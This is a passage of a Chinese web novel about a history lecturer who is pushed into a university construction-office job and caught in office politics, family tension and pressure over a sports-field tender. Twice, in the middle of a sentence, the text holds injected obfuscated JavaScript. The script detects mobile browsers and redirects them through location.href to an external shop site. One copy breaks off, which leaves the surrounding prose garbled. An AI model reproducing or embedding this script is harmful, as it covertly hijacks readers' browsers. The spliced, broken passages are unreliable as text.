家庭中的纷争一团乱麻,工作上的骤雨忽然来临。钟德君辞职的第三天,顾明远忽然接到组织部的通知:调任基建处副处长。 这种不打商量、近乎蛮横的“被转岗”,让顾明远的情绪瞬间失控。他一把撕碎红头文件,甩开步子闯进了校长周濂的办公室。不等校长说话,便气咻咻地质问道:“周校长,学校连本人意见都不征求,就这样强行搞拉郎配,这也太儿戏了吧?” 周濂叹了口气,语气带着安抚:“明远你先别激动嘛。这是党委……呃……也是戈书记对你的器重嘛。”调动顾明远的事,戈大垣的确和周濂事前打过商量,理由非常充分:基建处面临重大建设任务班子必须健全;顾明远是一棵好苗子,应该多岗位锻炼;孟超行事过于随意,基建处需要有人节制他的行为……。这样一来,本来持强烈反对意见的周濂一下子无话可说。 现在顾明远情绪激动找上门来,周濂作为校长,当然不能将这些理由剧透给他,便只好给出了这句“甩锅”戈大垣的理由。 “器重?”顾明远不依不饶,毫不客气地打断了校长:“这样看来,在领导心目中,教学部门的确是要比机关处室矮上一头啊?”他越说越激动,音调也越来越亢奋:“学校知不知道我这学期还有三门本科生的课要上?我手里还有三个省部级的课题没有结项?让这样一个搞历史的教书匠去跑工地、盯招标、算钢筋水泥的用量,这不是乱点鸳鸯谱吗?!” 顾明远连珠炮似的发问让周濂心里多了几分不悦,他的声音沉了下来:“你冷静一点嘛。学校这样安排肯定是有考虑的,怎么就是拉郎配、乱点鸳鸯谱呢?你顾明远教学能力和科研水平确实没的说,组织上都是认可的嘛。将你调往基建处,也是希望你能为学校发挥更多的作用嘛。你也三十好几的人了,说话做事怎么这样情绪化呀?” 周濂的这套“官腔”并不能让顾明远信服,他的声音因激动而微微颤抖:“周校长,您算得上是我的引路人。我记得读本科时您就鼓励我要心无旁骛潜心学问,而且对高校行政化、官僚化日益严重的趋势很是担忧,为什么现在要让我牺牲特长去干特短的工作呢?” 顾明远直言不讳的诘问让周濂有些愠怒:“谁说干行政工作是你的特短?这些年教研室主任不是干得有模有样的嘛。你工作思路清晰、做事又很讲求效率,是很好的行政管理材料嘛。” 顾明远一刻也不能等,急促地问道:“周校长,周校长,您是了解我的,心思根本就不在搞行政上。您能不能让组织部收回成命?我实在是不想离开历史学院的。” 周濂沉默良久后叹了口气:“明远啊,有些事情也不是我能左右的。你还年轻,适应能力强,先接受安排去基建处锻炼锻炼吧。”他有意隐去了顾明远的岳父吴若甫强烈希望他调任的信息。 顾明远听出校长话里已无转圜余地,只得起身告辞。经过书记戈大垣办公室时,他望着那道虚掩的木门犹豫再三——这位不怒自威的一把手,自己一年多来从未主动接近过,此刻贸然闯入“黄龙府”,只怕会显得唐突。最终他还是收回了准备叩门的手,转身往历史学院去寻求院长秦冰纶的支持。 秦冰纶正在批阅文件,抬头看见顾明远满脸沮丧和不甘地站在门口,心里早已了然。戈大垣此前确实就顾明远的调动征询过她的意见。对正全力争取进入校领导班子的秦冰纶而言,这无疑是向书记示好的良机。况且平心而论,顾明远虽在学术上能力出众,但这一个多月共事下来,他那套固执己见、不懂变通的作风已让她颇感棘手和厌烦。加之她正想给林书锦更多历练空间,便顺水推舟地应下了这份人事调整。 为了掩饰真实想法,她还故意给吴若甫去了电话,言辞恳切地表达了要全力挽留顾明远的意思。久经官场的老校长何等敏锐,立即意识到这是女婿转向行政发展的良机,反而劝告秦冰纶不要阻拦顾明远的调任。挂断秦冰纶的电话后,吴若甫立刻给周濂打去了电话,要求他务必促成顾明远调任一事。 顾明远带着最后一线希望,开门见山提出留在历史学院的想法,甚至连“哪怕不做副院长也行”的话都说了出来。 秦冰纶脸上满是惋惜,言辞十分恳切:“明远,你现在都是我的左臂右膀,你以为我想放你呀。唉,我也没办法呀,你现在是学校重点培养的后备干部,这事我做不了主哇”,说到这里,她故意压低声音:“我建议你呀赶紧去做作吴校长的工作,以他的影响力,说不定还有转机的。” 顾明远如获至宝般匆匆赶往岳父家中,不料吴若甫恰巧去了水果湖探望老同学。正在娘家休养的吴雅娟见他步履生风地进门,便知有事。她慵懒地靠在沙发上,听着丈夫说明来意,唇角渐渐扬起似笑非笑的弧度:“你呀,”她轻轻摇头,“这事本就是爸的意思。他常说,好钢要用在刀刃上。” 这话像一盆冷水浇在顾明远心头。他先是一怔,随即一股无名 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904248|192344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 火窜上心头,手中的茶杯“哐当”一声落在玻璃茶几上:“我的事,往后能不能让你爸少操闲心的呀?”他强压着声音,每个字都像是从牙缝里挤出来的。 吴雅娟正要发作,隔壁的万素琴闻声走了过来。顾明远只好迅速收敛神色,起身与岳母寒暄两句便借故告辞。转身带上门时,他最后瞥见妻子欲言又止的神情,心头五味杂陈。 顾明远再也无心工作,独自一人来到东湖畔。斜阳将粼粼波光揉碎成万千片金箔,白鹭掠过水面,翅尖点开圈圈涟漪。他望着这派自由天地,心头却像压着块浸透水的青砖。 这些年,自己仿佛成了提线木偶——岳父的关照、妻子的期盼、师长的提携,这些以"为你好"为名的丝线,将他牢牢捆在既定的轨道上,学术追求被人当做笑柄,三尺讲台如今也是危在旦夕。巨大的憋屈让攥紧拳头对着空阔的湖面大吼了一声:"我顾明远不需要你们的好意",声音在空旷的湖面上飘散,惊起芦苇丛中的水鸟。想起当年进校时立下的“名师学者”的誓言,如今即将被按在基建处的图纸堆里、钢筋架上,被压抑的愤懑不被理解的苦楚,此刻都化作喉间的灼痛。 夜幕沉沉底垂挂下来。今天是月半,磨山顶上,浑圆的月亮探出头来,小心翼翼底将银光挥洒在湖面上,挥洒在树影婆娑的木质栈道上,银白的薄霜和斑驳的光影,让顾明远的脑海里忽然跳出林思齐的身影来。 电话很快接通,林思齐的声音带着一丝慵懒:“顾老师这么晚了还要赐教?” 顾德明远苦笑起来,将自己即将被调往基建处的事情说了出来。 电话那头沉默了一瞬。随即,林思齐笑声银铃般传了过来:“看来你们楚江大学这是人才储备不足啊,连顾老师这样的学问才子要派去盖大楼了。”顿了顿,俏皮的语气中多了一丝关切:“顾老师打电话给我,是想听我跟着你一起骂几句领导昏聩、有眼无珠呢?还是想听我劝你想开点,随遇而安?” 地上随风摇曳、变幻不定的树影正如此刻自己纷乱如麻的心绪,顾明远苦笑了起来:“我确实……想不通,明明知道我的志向、我的长处都在教书著述上,为什么偏偏要做出这样……。唉,太不尊重人了。” 林思齐轻轻叹了口气,声音柔软而坦诚:“这世上,其实哪有什么事都能如自己所愿、完全按照自己设定的轨道运行呢?”她顿了顿,仿佛在组织语言:“你看天上那月亮,不也有阴晴圆缺吗?这是自然的常态,其实也是人间的常态。” 顾明远一怔,下意识地抬头望向已经掠过山顶的圆月,一时无言以对。 “我倒不是劝你一味认命,随波逐流。”她的声音里带着一种温婉的狡黠:“但你得承认,很多时候,生气、烦恼、抗拒,是解决不了实际问题的。既然事情已成定局,无力回天,那不妨换个角度想想,怎么在将来和砖瓦、水泥、图纸打交道的过程里,还能尽量保住自己那颗做学问的初心,或者说,找到另一种实现价值的方式?” 顾明远胸口的郁结似乎也散了几分:“你的意思是,要我在工地搬砖的间隙,蹲在钢筋水泥旁边写论文?” “为什么不行呢?”林思齐反问,语气俏皮起来:“学校能调你的岗,难道还能困住你的思想?只要你自己不放弃,时间就像海绵里的水,挤一挤总会有的。环境变了,心态和方法可以调整嘛。” 一阵清风从湖面吹来,顾明远忽然觉得,心头那块沉重的大石,似乎松动了一些。他半开玩笑地说道:“照你这么说,我是不是该立刻开始着手研究一下《营造法式》、《考工记》?好歹也算是和未来的工作,勉强沾点边?” 林思齐的笑声清脆悦耳:“完全可以呀。其实吧,你换个角度来看,一栋栋大楼,如果能在你的参与、你的努力下,从平面的图纸,转变成矗立于大地之上的现实,这不也是一种创造,一种别样的‘立言’吗?顾老师,不对,以后该叫顾处长了,如果你能将在故纸堆里研究到的那些古代建筑智慧、美学理念,融入到现代化的校园建设中去,让钢筋混凝土的丛林里,也多一丝人文的温度和历史的厚度,那难道不是另一种形式的价值实现吗?” 月光依旧静静流淌,将夜色染成朦胧的银灰色。说来也怪,分明是同样的月色,此刻却仿佛在林思齐的话语中浸过一般,竟透出几分熨帖的暖意。他深深吸了口气,晚风带着湖水的湿润掠过唇角,那里不知何时已扬起一道舒缓的笑容:原来,这世上真有人能三言两语便拨开你心头的迷雾,让月光都变得不一样了。 正式上任前,顾明远斗胆在周濂面前打出了自己的小算盘:继续作为历史学院中国古代史硕士生导师团队成员指导研究生并给研究生上课。周濂等于顾明远的转变由衷高兴,这样的安慰奖自然就不是问题。 与顾明远的自我反对和挣扎不谋而合,分管基建副校长孟超对他调任基建处一事更是激烈反对甚至恼羞成怒。他目光阴鸷盯着组织部送达的文件看了半天,忍不住在心里将戈大垣骂了无数遍。在孟超看来,这个完全绕过他的人事安排,不仅是对分管领导权威的公然蔑视,更是戈大垣制约基建权力的精心算计。顾明远是谁?是前任校长吴若甫的女婿,是个不懂得变通和顺从的固执书生,这样做,哪里是是为了加强基建处班子力量,分明是往他孟超经营多年基建地盘投下一颗不听话、不受控的棋子嘛。 正在烦躁间,韦江龙轻手轻脚地进来。孟超看了他一眼,突然莫名地开了口,声音带着毫不掩饰的讥讽:“我就纳闷了,顾明远,一个学历史出身的,能分得清给排水管道的不同口径吗?” 韦江龙正是为此事来的。刚从处长周青松那里得到消息的他心里本能地“咯噔”了一下:这是饿狼刚走,又来猛虎啊。一直冀望接班周青松的他自然而然想到了靠山孟超副校长。 从孟超的言语中看出些端倪的韦江龙嗤笑了一声,凑近一步说道:“没办法啊,孟校。这年头,朝中有人好做官。谁让人家是老吴的乘龙快婿呢?没有他,顾明远能这么如意?” 韦江龙这句看似无心的话,更像是一根刺扎进了孟超的心,想起这些年吴若甫在楚江大学仍然呼风唤雨,他对顾明远的忌惮不免更多了几分。想到这里,赶紧让韦江龙通知周青松过来,他得预先打好预防针,在顾明远的分工上亲自把关。 周青松本来就是个滑头,反正退休在即,更不愿意得罪孟超。按照孟超的吩咐,将那些涉及核心利益、关键项目的科室全都交给韦江龙,只将那些没有多少油水且又脏又累的维修科、质检科分给了顾明远。按照韦江龙的建议,将他的小兄弟小谢调到维修科做科长,这样也方便加强控制。象牙塔的阴影投射在基建处,即将交织成一曲复杂而耐人寻味的交响。 48. 开局不易 自从顾明远调任基建处副处长,孟超便没少“敲打”这位新人。说是敲打,实则处处设障。时而借着巡查工作的名义对顾明远分管的领域鸡蛋里挑些骨头,时而在处长周青松面前意味深长地嘱咐“要多帮衬顾副处长这个新兵”。 更耐人寻味的是,孟超常把韦江龙拉到办公室“谈心”。话里话外都在暗示:只要你韦江龙成了学校不可或缺的基建专家,将来就有底气与顾明远这个外行在将来处长的竞争上一决高下。这让老实人的韦江龙心里无法不起波澜。处里那些科长们个个都是人精,早就嗅出孟副校长这边的风向,对这位新来的副处长也多了几分表面客气、实质疏离的意味。 不过几日工夫,顾明远就敏锐地察觉到空气中弥漫着一种说不清道不明的隔阂。每个人脸上都挂着标准化的笑容,但那笑容像是贴在脸上,虚浮得风一吹就散了。 孟超的算计和安排很快见效。自从分管维修科,顾明远就陷入了无尽奔波之中。根据孟超“多去现场找感觉”的指示,每次维修他都必须亲临现场。爆裂的水管、短路的线路、堵塞的化粪池……,这些突如其来的状况如今已成了顾明远工作乃至生活的日常。每天拖着疲惫的身躯回家已是晚上九点后,匆匆洗漱后便瘫倒在床,连在书桌前坐上一会儿的力气都没有。 吴雅娟似乎只在乎“副处长”这个头衔带来的体面,对丈夫工作的辛苦和艰难视而不见。只一个月的工夫,她就开始对顾明远身上的杂糅的各种气味皱起了眉头。每次回家,不管多么疲惫,第一件事是让他去卫生间换洗衣服收拾身体,理由是“千万别让安安染上病菌”。 上任月余,顾明远已经深刻体会到“水深火热”四个字的含义。事到如今,骨子里的倔强的他也只好咬紧牙关、打足精神——既然走了这条路,即使跪着,也得走下去,总不能让那些等着看笑话的人得逞。 难得一个没有突发任务的周末,顾明远总算能够兑现带女儿去重新开放的中山公园游玩的承诺。 翻修后的中山公园果然焕然一新——彩虹色的滑梯如绸缎般蜿蜒,旋转木马披着糖果色的新装悠悠转动,充气城堡里传来阵阵欢腾的尖叫……。刚一走进游乐场,顾安然就兴奋得像只云雀,挣脱爸爸的手,张开双臂疯跑到买票口。在她的眼里,游乐场简直成了她的魔法王国,而她要做这王国里最快活的小精灵。 买好套票,目送女儿和小伙伴们欢叫着消失在彩虹滑梯尽头,顾明远和吴雅娟之间的空气突然凝滞下来。两人并排站在门外,却像中间被一块无形的玻璃隔开。现在,两人可以交流的话题越来越少、频次也越来越低。在吴雅娟看来,这是顾明远有意冷落自己;在顾明远看来,两人之间几乎没有能够引起共鸣的话题。此刻,顾明远欲言又止,吴雅娟刻意回避目光。就这样尴尬的半天,吴雅娟手包里的手机振动声起,这倒给了她暂时离开的理由,她目光投向远处的沙池轻声说了句“我去看看安安”,便匆匆地离开了。 望着丈夫逃也似的背影,吴雅娟攥紧了手中的门票。这张薄薄的纸,终究没能像承诺的那样,把他们的距离拉得更近一些。 顾明远心底掠过一丝诡异的轻松。他刚想给下海去了审计事务所的钟德君打个问候电话顺便请教基建处的事情,刺耳的铃声骤然响起。 电话是处长周青松打来的。 “小顾你不在学校吗?”周青松尖锐的声音几乎刺破听筒:“我和孟校长的电话都被打爆了。你们维修科怎么搞的?8号学生宿舍楼的主水管爆了,现场都快成海了,你们就派了两个工人在那儿瞎忙活,害我平白无故挨了孟校长一顿批。你立刻、马上给我回来处理。” 不等顾明远解释,周青松连珠炮似的训斥戛然而止,手机里只剩忙音嗡嗡作响。 顾明远气不打一处来:这是什么道理?周末难道我就该被钉在学校? 生气归生气。周青松的话还是让顾明远感知到了事态的严重。上周在排查到8号楼时,他就注意到了这栋楼的地下管道的巨大隐患,没想到这么快就爆发出来。8号楼不仅管线众多,而且地势低洼,如果不及时处理,后果不堪设想。 福满园放眼在游乐场里寻找了一圈,没有发现吴雅娟的踪影,便赶紧拨打她的手机,一遍,两遍,三遍……始终占线。顾明远急得像热锅上的蚂蚁,一边四处寻找,一边继续拨打电话。好不容易接通,却发现吴雅娟的手机铃声就在几米开外的一从密实的凤尾竹后。顾明远有些好奇,轻手轻脚走了过去,发现吴雅娟又在接听电话,远远地听见声音娇软而又甜蜜。一股无名火“腾”地窜上头顶,顾明远冲过去,声音带着压抑不住的怒意:“你这电话打得这么聚精会神吗?我的电话也不回?” 吴雅娟如遭电击般从椅子上弹起,回头见是顾明远,脸色瞬间由灰白涨得通红,说话显得有些语无伦次:“啊?我…我…刚跟朋友聊点事……。” 顾明远无暇深究,匆匆交代几句后,一路小跑冲向公园门口。 坐上出租车后,顾明远压住怒火,给维修科长小谢打去了电话:“谢科长,8号楼爆管这么大事,你不在现场吗?” 小谢慢条斯理中甚至带了几分悠闲:“顾处啊,我知道这事呀,已经通知现场工人正在处理着呢。我这会正陪老婆逛街,实在走不开啊。你是分管领导,到现场坐镇,给工人们鼓鼓劲儿,效果更好嘛。” 这番带着轻慢的推诿彻底点燃了顾明远的怒火:“小谢。你这个科长当甩手掌柜是不是当习惯了?按你这逻辑,我这个副处长是不是也可以让处长、副校长出面增加现场效果呀?” “哎呀顾处,话不能这么说,我这不是分身乏术嘛。”小谢并不买账,说起话来依然要紧不慢。 顾明远气得浑身发颤,撂下一句“你看着办吧”便挂了电话。 没过多久,孟超的电话打了进来——听口气是谢广林先告了状。顾明远也不客气,指责小谢不服从调遣。孟超却冷笑起来:“小谢是你的兵,不听调遣,那是不是你的方法有问题呀。小顾,8号楼的风险你是知道的,赶紧赶到现场处理好,别让事态扩大影响稳定,到时你我可都担待不起。” 不容分辨,电话再次被无情挂断。 孟超的话如同重锤砸在顾明远心上,让他憋屈得想骂娘。 出租车司机从后视镜里看着后座脸色铁青的年轻人,笑道:“这么年轻就处长了?兵不好带吧?” 顾明远一惊:“您怎么知道?” “嘿,你刚才那几通电话,啥机密都漏了。”司机摇头晃脑地传授经验:“老弟,当官得有点‘杀气’的。我看你说话和风细雨的,有时候光讲道理是镇不住人的哩。我在部队当连长那会,对那些新兵蛋子该拍桌子就得拍、该关禁闭就得关。像刚才你们那个科长,直接下道死命令,没啥好商量的。” 司机的话,让顾明远在心中记了一笔。 8号楼现场的景象远比描述的更加骇人:楼前已是一片泽国,浑浊的水流裹挟着泥沙,如同挣脱束缚的野兽,从地底两个巨大的出水口喷涌而出,邻近的6、7号楼已经开始积水。阳台上已经有不少男生拿着脸盆铁桶使劲敲打,“哐哐”地抗议。 现场的三个工人面对污浊的水龙,显得有些束手无策。 第一次碰到这种情况,顾明远的心沉到谷底。他再次拨通小谢的电话,重重说了句“如果一刻钟不赶到现场,明天我俩一起辞职”。挂断电话后,将皮鞋一脱,跳进积水里察看情况。三个工人见状,赶紧拿着工具跟了过来。一个矮个子低声嘟囔道:“要是韦处在就好了,这些管线是他参与铺设的,估计他闭着眼都能找到漏点……。” 一句话拨开了顾明远眼前的迷雾。顾不得这些天韦江龙对自己不冷不热的态度,顾明远走到高处给韦江龙打去了求援电话。 本来已经做好了被拒绝的准备,没想到韦江龙沉默几秒后,答应马上赶到现场。 韦江龙前脚刚到,小谢后脚就来到了现场。他似乎是掐准了时间,离顾明远限定的一刻钟只差了三十秒。 顾明远来不及计较,跟着韦江龙一起涉水来到涌水口察看情况。 韦江龙果然名不虚传。不到十分钟,就精准锁定了两个隐蔽的爆裂点。在他的指挥下,顾明远二话不说跳进到齐腰深的水中,小谢看了韦江龙一眼,也跟着跳了下去。韦江龙带着工人去马路对面的泵站关掉了主阀门。经过一番紧张的忙碌,涌水开始平息。在韦江龙的调度下,小谢他们迅速运来围挡材料开始检修爆裂的水管。 松了口气的顾明远拍着韦江龙的肩膀由衷地赞叹:“江龙,今天真是多亏你了。关键时刻,还是得靠真本事。你这技术不服不行啊。以后有什么技术方面的困难,还得请你多指点啊。” 韦江龙嘴角处露出一抹看似淡然实则得意的笑容:“什么本事不本事的,谈不上。干得年头长了,见的状况多点罢了。”说罢,低头收拾好工具箱,拒绝了顾明远请客的提议,跨上电动车一溜烟地出了校门。看着那远去的背影,顾明远心里五味杂陈。 危险解除后,小谢缩着脖子讪笑着给顾明远道歉,说是晚上摆上一桌赔罪。想起出租车司机的话,顾明远一股威严油然而生。他的声音不高却带着不容置疑的分量:“谢科长,你也不用说这么多了。今天的事,回头写份详细报告给我,包括你‘分身乏术’的原因、临机应对的措施和效果,我要看看你们维修科的工作态度和工作能力。” 年轻副处长冷峻的眼神和严厉的口吻让小谢心中懔然。想起他校长女婿的身份,底气本就不足的小谢心中那点装腔作势的心思顿时萎靡,只剩下唯唯诺诺的点头。 拖着疲惫的身躯回到家里已是夜里十点。得知女儿在外公外婆家后,顾明远和衣躺在沙发上,浑身酸疼却怎么也睡不着,白天的一幕幕在脑中反复翻腾:孟超的冷嘲、周青松的刁难、小谢的阳奉阴违、韦江龙的出手相助……。他忽然意识到,基建处里的明枪暗箭也许远超自己的想象。 犹豫再三,他拨通了钟德君的电话。听完讲述,钟德君在电话那头叹了口气:“兄弟,你上任时我就警告过,基建处庙小妖风大池浅王八多。水浑得很咧。老孟用的是‘势’,给你扣帽子、压担子,让你有苦说不出。老周使的是‘绊子’,把难题甩给你,让你冲锋陷阵他看戏。小谢这种虾兵蟹将都是老油条啦,玩的是‘磨洋工’‘软抵抗’,就等着看你年轻没经验的笑话。至于韦江龙这人……”,钟德君顿了顿:“这人吧,确实有本事,但心眼小,现在肯定对你又是妒忌又是防备。不过,从他这次能出手帮你,说明这个人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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在摸清了一干人等的套路后,真正让顾明远看重的,还是副处长韦江龙。顾明远知道韦江龙一直在防备着自己,总想找个机会和他好好交交心,奈何韦江龙若即若离,总也不给这样的机会。经过长时间的观察,顾明远发现韦江龙对自己的技术能力很是得意,在处里大小会上喜欢以专家自居,是不是自己分管的工作都会指点一番,为此,另一个资历与他不相上下的副处长顶了几回。顾明远觉得这是个缝隙,几次业务讨论会上都力挺韦江龙。慢慢地,韦江龙对待顾明远的态度似乎发生了些变化,偶尔还能主动跟顾明远聊聊维修上的一些技术细节。 漫长的冬季即将来临,基建处决定启动供暖系统的全面检修。由于经费不足,学校的供暖系统年久失修,效果不好,教职工几乎是怨声载道。孟超特意交代周青松将这项任务交给顾明远负责。 顾明远早就从岳父那里知道了这个问题的棘手。毕竟是自己分管的领域,他只好硬着头皮应付。 经过一个礼拜的查找资料和现场走访,顾明远找出了问题的症结:调整宿舍区的用电负荷、增加专项维修资金。在处务会上,当着周青松的面,顾明远侃侃而谈:“周处长,这协调总务处调整用电负荷,反正也是孟校长分管的部门,我还可以出面协调。但是增加专项维修资金,这是其他校领导分管的,我人微言轻,恐怕还得劳你的大驾出面沟通。” 周青松脸上的笑容僵住了。他没想到顾明远现在学会了推挡这一招。他担心顾明远将这事捅到上面影响自己的形象,只好当着大家的面应承下来。 顾明远并不止步,看着韦江龙说道:“江龙处长以前分管这一块,有时这方面的顶级专家,到时候就做作技术总监吧。修好了功劳全算你的。” 周青松意味深长看了韦江龙一眼。韦江龙是个被人抬举就容易发飘的人,听说功劳全算在自己身上,也就懒得扭捏,将这事答应了下来。这倒有些出乎周青松的预料。”却步履轻松——他终于学会了在体制内如何既不硬碰硬,也不一味退让。 检修工作开始后,顾明远几乎将身子都扑在了现场。这天锅炉房增压测试完后,正好韦江龙也在现场,顾明远趁机提出请韦江龙出去小酌几杯御寒。 这次韦江龙没有犹豫,答应了下来。 几杯酒下肚,韦江龙黝黑的脸上泛起了红光。这个广西男人的舌头有些打结,话却格外密了起来:“顾工,说句实在话,你刚来那会儿,我寻思你就是个来镀金的公子哥儿,走个过场就高升去了。”他端起酒杯又放下,目光在顾明远脸上扫过:“可这半年下来,你是个干实事的人,又能吃苦,不像是过来混日子的。” 这话说得直白,却让顾明远心头一热,那些在肚子里憋了许久的话,不由自主地就溜了出来:“江龙,”他往前倾了倾身子,声音里带着几分诚挚:“你在基建处这么多年,业务熟,贡献大,大家都看在眼里。等周处退了,我第一个举荐你接任。”他说得诚恳,甚至有些稚气,仿佛这个承诺是他职权范围内再自然不过的事:“你别听外面那些风言风语,我有自知之明的。教书才是我的本行,迟早要回去的。” 这话一出口,韦江龙握着酒杯的手微微一顿,原本微眯的眼睛不自觉地睁大了些:这个书卷气未脱的年轻人,竟然如此直白地触及到这个自己心里惦记却不能摆上台面的话题。虽然他知道处级干部的任免绝不是顾明远的许诺就能实现,但他眼里流露出的真诚和坦率像一道光,突然照进了韦江龙心里那块堵塞了数月的地方。 “你啊……”,韦江龙摇了摇头,语气里却没了往日的疏离。他举起酒杯,轻轻碰了碰顾明远的杯子:“好了,不说了,都在酒里”。说罢,一仰脖子,将半杯酒全都倒进了喉咙。 玻璃相碰发出清脆的声响,像是敲碎了两人之间看不见的隔阂。 49. 城乡情异 虽然是秋天,顾明远额角仍渗着细密的汗珠,全神贯注地推敲足球场维修改造的招标事宜。这个项目不过400万的预算,算不上是个大项目,但最近登门示好的人不在少数,尤其副校长孟超多次暗示想让刘芳的公司接手,周青松话头,将这件事全权交给顾明远处理。顾明远一向主张公事公办,明标竞争,但来自上面的压力让他这个初入仕途的副处长又不能不有所忌惮。压力像无形的丝线缠绕得令人烦闷。 阳光透过百叶窗,在他紧蹙的眉峰投下交错的光影。门被无声地推开,一个人影闪了进来。来人西装革履,风度翩翩,脸上挂着恰到好处的笑容:“顾处长,幸会。我是许达濠。” 顾明远一愣,这名字耳熟,却一时想不起。他抬眼打量:“哪个许达濠?” 许达濠嘴角带着几分自设的熟稔:“我伯父是许继武,学校以前的党委书记。”这话如同钥匙,瞬间打开记忆的闸门。顾明远恍然:原来他就是林思齐的前夫! 一股难以言喻的反感涌上心头。他脸色一沉,语气冷淡了几分:“有事?” 许达濠是从孟超那里来的。他有意竞标足球场项目。这要放在以往,孟超定然不敢马虎,但现在许继武树倒猢狲散,孟超早就不将许达濠放在眼里,也根本没想让他参与到足球场的项目中来。虚应了几句后,孟超将他打发到顾明远这里,无非是让顾明远去得罪许达濠而已。 许达濠巧妙地打着孟超的旗号:“孟校长让我来跟你沟通沟通足球场这个项目。”为了显得自己的诚意,还煞有介事拿出一页竞标设想念了起来。 顾明远心中冷笑,盘算着如何打发他。许达濠讲完后,从公文包里取出两支包装考究的香烟递了过来。这倒给了顾明远借口。他霍然起身,直接将烟推回对方面前,故意板着脸说道:“就凭你这两条烟,就可以剥夺投标的资格了。你还是赶紧收回去吧,不然就没有继续沟通的必要了。”声音不高,却带着不容置疑的冰冷警告。 许达濠第一次遇到拒收的情况,一时间有点不知所措。愣了片刻,讪笑着将烟放回包中,嘴角强挤出一点笑容:“早听伯父说过顾处长讲原则,果然名不虚传。” 顾明远几乎没有和许继武直接打过交道,对许达濠转致的表扬没有什么兴趣。冲着林思齐,他根本没有和许达濠继续沟通的意思,便假装站起身来收拾着桌子上的文件:“你如果有意参与,还是回去按规定准备投标材料。我还有会,就不陪呢了。”说完,拿起笔记本向外走去。 许达濠脸色青白,只好起身悻悻离去。 确认许达濠人已走远,顾明远折身回到办公室,拿起修改好的招标文件来到隔壁请周青松把关。 年近五十九的周青松如今几乎处于半退休状态,能在办公室“偶遇”他十分不易。经过吴若甫暗中发力,他对顾明远的态度确实有了明显好转。但当顾明远拿着文件走进来时,周青松还是有意端起了老处长的架子。此时他正靠在椅背上看报,眼皮懒懒一抬,从老花镜框的上方瞥了顾明远一眼,鼻腔里不轻不重地“嗯”出一声,算是打过招呼。 顾明远懒得计较这些,将招标文件递上上,开始汇报自己对足球场改造的一些设想。周青松早从孟超那里得了将项目交给刘芳公司的暗示,却仍明知故问道:“一个球场改造能有多少技术含量?你的这些设想是不是有点复杂了?万一孟校长那里通不过呢?” 顾明远没听出周青松的弦外之音,有意讨好地说道:“您是经验丰富的一等一专家,今天就是特意请您把关的。” 一声“专家”挠得周青松心里舒坦。他掏烟点上,青烟从鼻孔袅袅升起,目光离开招标文件,咳嗽几声自嘲道:“什么专家,虚名罢了。说不定哪天就被‘一刀切’回家喽。” 如今周青松对是否被“一刀切”十分敏感。他早就精细地算过,若提前退下,地位下降不说,收入也会锐减,尤其是那些不能与人道的灰色收入,更会断崖式的下降。表面上,周青松在人前表现得云淡风轻,口口声声说自己“想早点过甚闲云野鹤”的退休生活,实际上悄悄加大了各种运作力度,最低目标是确保不被提前退二线,终极目标是退休后能被学校返聘。为此,他对孟超更加顺从,对老校长吴若甫的交代遵嘱而行,同时想方设法挤进了书记戈大垣的羽毛球圈子。 既然处长提到了“一刀切”的话题,顾明远就不得不有所回应,他故作惊讶地说道:“怎么会呢,前不久孟校长说过学校正在酝酿买地建新校区,如果那样,正是用人之际,说不定还要让您延迟退休的。那么大的项目,离了您,别人还真的玩不转。” 顾明远一边恭维,一边在内心嘲笑自己离自己讨厌的油腔滑调委实不远。然而,周青松却很受用。他放下手中的报纸,将椅子往前挪了挪,作出一副浑不在意的样子:“小顾你不懂我的心思啊。我巴不得早点给你们年轻人腾出位置呢。不信你看着吧,我退休后,学校八抬大轿请我,都懒得回。干嘛和自己过不去呀”,说到这里,话锋一转,似在投桃报李:“话说回来,小顾你素质好、能力强,又有老爷子在背后撑着,好好干,基建处迟早是你的。” 顾明远心知肚明,周青松嘴中的“老爷子”自然指的是吴若甫。心里不爽,却不想接茬,便将话题拉回足球场的招标细节上。周青松显得心不在焉:“小顾你还是嫩点。以后呀,所有项目在做招标文件时,你最好还是先向孟校长请示汇报。你放心,只要孟校长没有意见,我一律给你签批。千万别做费力不讨好的事哦。” 按照周青松的提醒,顾明远带着招标文件前来向孟超汇报。孟超只看了一眼竞标公司的资质要求,心里便“咯噔”一下:如果按照这个要求,刘芳的公司连门槛都够不着。 孟超压住不满,先对顾明远的“专业细致”稍作肯定,旋即加重语气说道:“足球场改造毕竟不是高精尖项目,这标准……是不是太高了?” “高吗?”顾明远一脸认真:“我们前期摸底,省内符合标准的公司少说三十家,都有体育场地施工经验,选择余地很大。” “这类公司报价不低,预算有没有压力?” “预算测算过了,完全包得住。” 若是面对周青松和韦江龙,孟超也许早就拍桌子开训了。但是,面对顾明远,他心里似乎总有一丝说不出的忌惮。在对条款迂回了一圈,看见顾明远依然不开窍,孟超有些急了,干脆点出了刘芳公司的名字。 没承想顾明远并不买账,直接点出了刘芳公司没有运动场改造的经验。这下孟超忍不住了,用手指敲击着桌面:“你这有点死脑筋嘛,又不是什么高难度项目,没有经验说不定还能做得更好的。” 自从到了基建处后,顾明远开始按照周濂“凡事不要太急”的叮嘱来收敛自己的执拗。看见孟超脸色阴得都能挤出水来,他说了句“我回去和周处长再研究研究”,便起身退了出来。 顾明远刚一离开,孟超的电话就打到了周青松办公室,劈头盖脸就是一顿训斥,连“你们基建处是独立王国”这样的重话也说了出来,勒令他尽快搞定顾明远。周青松在电话里说了句“这顾明远仗着书记校长撑腰不听我的”,承诺一定要将孟校长的意见贯彻落实好。 